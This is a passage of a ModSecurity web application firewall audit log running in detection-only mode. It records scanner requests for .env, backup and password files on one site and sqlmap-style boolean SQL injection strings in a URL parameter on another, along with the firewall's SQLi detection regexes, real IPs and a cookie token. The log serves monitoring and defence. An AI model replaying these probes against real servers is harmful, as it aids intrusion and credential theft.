"www.mindscan.edu.in"] [uri "/shop/.env"] [unique_id "aE89dtkGqt_oHz6gRVdJDgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023542428505 732572 (- - -) Stopwatch2: 1750023542428505 732572; combined=2023, p1=486, p2=1429, p3=0, p4=0, p5=107, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6a373f4b-Z-- --3896ca44-A-- [16/Jun/2025:03:09:07.472770 +0530] aE89egiLzf5Jb_3uGhHf6QAAAAA 185.177.72.210 55418 127.0.0.1 7081 --3896ca44-B-- GET /settings.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3896ca44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb364ea0da3ecdf9c03fbfc24d0b517d1750023547; expires=Sun, 15 Jun 2025 22:39:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3896ca44-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings.php.bak"] [unique_id "aE89egiLzf5Jb_3uGhHf6QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023546795129 677706 (- - -) Stopwatch2: 1750023546795129 677706; combined=1912, p1=336, p2=1480, p3=0, p4=0, p5=96, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3896ca44-Z-- --3b87e542-A-- [16/Jun/2025:03:09:08.446990 +0530] aE89e9kGqt_oHz6gRVdJEQAAAAw 185.177.72.210 55482 127.0.0.1 7081 --3b87e542-B-- GET /application/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b87e542-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1e1c865e40ededbd46272a8ec6221b821750023548; expires=Sun, 15 Jun 2025 22:39:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b87e542-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/application/.env.save"] [unique_id "aE89e9kGqt_oHz6gRVdJEQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023547805298 641754 (- - -) Stopwatch2: 1750023547805298 641754; combined=1866, p1=367, p2=1398, p3=0, p4=0, p5=100, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b87e542-Z-- --59f28334-A-- [16/Jun/2025:03:09:09.533744 +0530] aE89fIl8S04UZ4l67-nedgAAAAk 185.177.72.210 55550 127.0.0.1 7081 --59f28334-B-- GET /users.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59f28334-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eea66fb0c443bf468dd2a31d1f34472b1750023549; expires=Sun, 15 Jun 2025 22:39:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59f28334-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/users.pwd"] [unique_id "aE89fIl8S04UZ4l67-nedgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023548836363 697444 (- - -) Stopwatch2: 1750023548836363 697444; combined=1935, p1=323, p2=1505, p3=0, p4=0, p5=106, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59f28334-Z-- --3db37649-A-- [16/Jun/2025:03:09:13.835692 +0530] aE89gdkGqt_oHz6gRVdJFAAAAAw 185.177.72.210 38016 127.0.0.1 7081 --3db37649-B-- GET /:8888/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3db37649-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0e95b69b53ae4af8ef00275c211187121750023553; expires=Sun, 15 Jun 2025 22:39:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3db37649-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/src/.env"] [unique_id "aE89gdkGqt_oHz6gRVdJFAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023553176931 658824 (- - -) Stopwatch2: 1750023553176931 658824; combined=1872, p1=367, p2=1404, p3=0, p4=0, p5=100, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3db37649-Z-- --0e85de79-A-- [16/Jun/2025:03:09:14.568845 +0530] aE89grsEVBap6l1Fvp1AJwAAAAQ 172.71.250.32 38060 127.0.0.1 7081 --0e85de79-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%22%29%27%29%28.%29%29%29. HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.32 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505380ceb322c2d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --0e85de79-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now))(.))). Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --0e85de79-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: \x22)')(.))). found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now\x22)')(.)))."] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: \\\\x22)')(.))). found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now\\\\x22)')(.)))."] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89grsEVBap6l1Fvp1AJwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023554379576 189361 (- - -) Stopwatch2: 1750023554379576 189361; combined=3712, p1=330, p2=3240, p3=0, p4=0, p5=141, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e85de79-Z-- --9bc6e17e-A-- [16/Jun/2025:03:09:16.365928 +0530] aE89hFR6EeXjkGzEkblk-gAAAAs 172.71.250.70 38140 127.0.0.1 7081 --9bc6e17e-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%208015%3D3951%20AND%20%288669%3D8669 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.70 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538180f402c6d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --9bc6e17e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%208015=3951%20AND%20(8669=8669 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --9bc6e17e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8015=3951 and (8669=8669 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 8015=3951 and (8669=8669"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8015=3951 and (8669=8669 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 8015=3951 and (8669=8669"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89hFR6EeXjkGzEkblk-gAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023556146821 219256 (- - -) Stopwatch2: 1750023556146821 219256; combined=3657, p1=378, p2=3127, p3=0, p4=0, p5=152, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9bc6e17e-Z-- --aaf3ee4f-A-- [16/Jun/2025:03:09:17.675637 +0530] aE89hdkGqt_oHz6gRVdJFgAAAAw 162.158.94.122 38194 127.0.0.1 7081 --aaf3ee4f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%206074%3D6074%20AND%20%286629%3D6629 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.122 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538206f971997-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --aaf3ee4f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%206074=6074%20AND%20(6629=6629 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --aaf3ee4f-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 and (6629=6629 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 6074=6074 and (6629=6629"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 and (6629=6629 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 6074=6074 and (6629=6629"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89hdkGqt_oHz6gRVdJFgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023557475969 199772 (- - -) Stopwatch2: 1750023557475969 199772; combined=2909, p1=380, p2=2408, p3=0, p4=0, p5=121, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aaf3ee4f-Z-- --6cdfbe36-A-- [16/Jun/2025:03:09:18.619165 +0530] aE89hR-kH31pk4mNbsU_LAAAAAo 185.177.72.210 38240 127.0.0.1 7081 --6cdfbe36-B-- GET /:5000/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6cdfbe36-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=66663207a4f7ee917b241d7dd35266031750023558; expires=Sun, 15 Jun 2025 22:39:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6cdfbe36-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/src/.env"] [unique_id "aE89hR-kH31pk4mNbsU_LAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023557925271 693956 (- - -) Stopwatch2: 1750023557925271 693956; combined=1886, p1=367, p2=1421, p3=0, p4=0, p5=97, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6cdfbe36-Z-- --5c04af7a-A-- [16/Jun/2025:03:09:18.997533 +0530] aE89hvkun2jazaBvM9tuIgAAAAE 172.71.172.132 38260 127.0.0.1 7081 --5c04af7a-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%206832%3D6575%20AND%20%288827%3D8827 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.132 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538289a0bd366-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --5c04af7a-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%206832=6575%20AND%20(8827=8827 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --5c04af7a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6832=6575 and (8827=8827 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 6832=6575 and (8827=8827"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6832=6575 and (8827=8827 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 6832=6575 and (8827=8827"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89hvkun2jazaBvM9tuIgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023558792549 205084 (- - -) Stopwatch2: 1750023558792549 205084; combined=3060, p1=352, p2=2575, p3=0, p4=0, p5=132, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c04af7a-Z-- --64f28e0c-A-- [16/Jun/2025:03:09:20.002764 +0530] aE89h4l8S04UZ4l67-nefAAAAAk 172.70.248.165 34000 127.0.0.1 7081 --64f28e0c-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206839%3D2596 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.165 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505382ebbf737bd-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --64f28e0c-F-- HTTP/1.1 301 Moved 